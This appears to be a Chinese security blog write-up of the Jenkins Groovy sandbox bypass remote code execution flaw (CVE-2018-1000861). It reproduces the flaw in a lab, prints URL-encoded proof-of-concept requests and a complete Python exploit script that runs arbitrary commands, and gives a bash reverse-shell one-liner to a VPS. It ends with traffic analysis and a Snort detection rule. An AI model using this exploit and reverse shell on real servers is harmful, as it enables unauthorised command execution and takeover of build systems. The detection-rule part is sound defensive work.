jenkins远程命令执行漏洞特征分析及规则提取(CVE-2018-1000861)
       
      
    
   
  
  
    简介 Jenkins是开源软件项目,基于Java开发的持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件的持续集成变成可能。
Jenkins使用Stapler框架开发,其允许用户通过URL PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。
通过这个漏洞,我们可以找到很多可供利用的利用链。其中最严重的就是绕过Groovy沙盒导致未授权用户可执行任意命令:Jenkins在沙盒中执行Groovy前会先检查脚本是否有错误,检查操作是没有沙盒的,攻击者可以通过Meta-Programming的方式,在检查这个步骤时执行任意命令
vulhub靶场复现 腾讯云服务器
1 2 docker-compose build docker-compose up -d 
访问靶场http://your-ip:8080
漏洞复现 - POC 1 2 3 4 5 6 7 http://your-ip:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript ?sandbox=true &value=public class x {   public x(){     "touch /tmp/success".execute()   } } 
Url编码
1 public class x {public x(){"touch /tmp/success".execute()}} 
1 /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20%7Bpublic%20x()%7B%22touch%20%2Ftmp%2Fsuccess%22.execute()%7D%7D 
服务器验证,成功生成success文件
漏洞复现 - EXP.py 使用方法:
1 2 Usage:   python exp.py <url> <cmd> 
靶场端验证
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 import  sysimport  requestsfrom  enum import  Enumtry :    requests.packages.urllib3.disable_warnings() except :    pass  endpoint = 'descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript'  class  mode (Enum ):    ACL_PATCHED = 0      NOT_JENKINS = 1      READ_ENABLE = 2      READ_BYPASS = 3      ENTRY_NOTFOUND = 999  def  usage ():    print  '''    Usage:     python exp.py <url> <cmd>     ''' def  _log (msg, fail=False  ):    nb = '[*]'      if  fail:         nb = '[-]'      print  '%s %s'  % (nb, msg) def  _get (url, params=None  ):    r = requests.get(url, verify=False , params=params)     return  r.status_code, r.content def  _add_bypass (url ):    return  url + 'securityRealm/user/admin/'  def  check (url ):    flag, accessible = mode.ACL_PATCHED, False           status, content = _get(url)     if  status == 200  and  'adjuncts'  in  content:         flag, accessible = mode.READ_ENABLE, True          _log('ANONYMOUS_READ enable!' )     elif  status == 403 :         _log('ANONYMOUS_READ disable!' )                  status, content = _get(_add_bypass(url))         if  status == 200  and  'adjuncts'  in  content:             flag, accessible = mode.READ_BYPASS, True      else :         flag = mode.NOT_JENKINS          if  accessible:         if  flag is  mode.READ_BYPASS:             url = _add_bypass(url)         status, content = _get(url + endpoint)         if  status == 404 :             flag = mode.ENTRY_NOTFOUND     return  flag def  exploit (url, cmd ):    payload = 'public class x{public x(){new String("%s".decodeHex()).execute()}}'  % cmd.encode('hex' )     params = {         'sandbox' : True ,          'value' : payload     }     status, content = _get(url + endpoint, params)     if  status == 200 :         _log('Exploit success!(it should be :P)' )     elif  status == 405 :         _log('It seems Jenkins has patched the RCE gadget :(' )     else :         _log('Exploit fail with HTTP status [%d]'  % status, fail=True )         if  'stack trace'  in  content:             for  _ in  content.splitlines():                 if  _.startswith('Caused:' ):                     _log(_, fail=True ) if  __name__ == '__main__' :    if  len (sys.argv) != 3 :         usage()         exit()     url = sys.argv[1 ].rstrip('/' ) + '/'      cmd = sys.argv[2 ]     flag = check(url)     if  flag is  mode.ACL_PATCHED:         _log('It seems Jenkins is up-to-date(>2.137) :(' , fail=True )     elif  flag is  mode.NOT_JENKINS:         _log('Is this Jenkins?' , fail=True )     elif  flag is  mode.READ_ENABLE:         exploit(url, cmd)     elif  flag is  mode.READ_BYPASS:         _log('Bypass with CVE-2018-1000861!' )         exploit(_add_bypass(url), cmd)     else :         _log('The `checkScript` is not found, please try other entries(see refs)' , fail=True ) 
反弹shell vps ip和端口 
1 bash -i >& /dev/tcp/x.x.x.x/7777 0>&1 
base编码
url编码
poc验证 
1 http://IP:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22命令替换%22.execute()}} 
vps开启监听 
抓包验证 通过EXP,进行特征流量分析
1 securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript 
1 descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript 
规则提取 (只提供提取思路)
除了最后一个地方可以不加,其他的字段分号后面都要加空格
 
1 alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"jenkins remote code execution(CVE-2018-1000861)"; content:"securityRealm/user/admin"; fast_pattern:only; http_uri; reference:cve,2018-1000861;reference:url,https://access.redhat.com/security/cve/CVE-2018-1000861; classtype:attempted-admin; sid:1002523;rev:1;) 
1 2 3 4 # 使用-A fast参数,在alert告警中,可以查看到告警内容和sid snort -c /etc/snort/snort.conf -r jenkins.pcap -A fast -l /var/log/snort/ # 查看告警日志 cat /var/log/snort/alert 
附件 流量包以及exp
链接: https://pan.baidu.com/s/1fibahYkUQBkBiY9yc6s2hg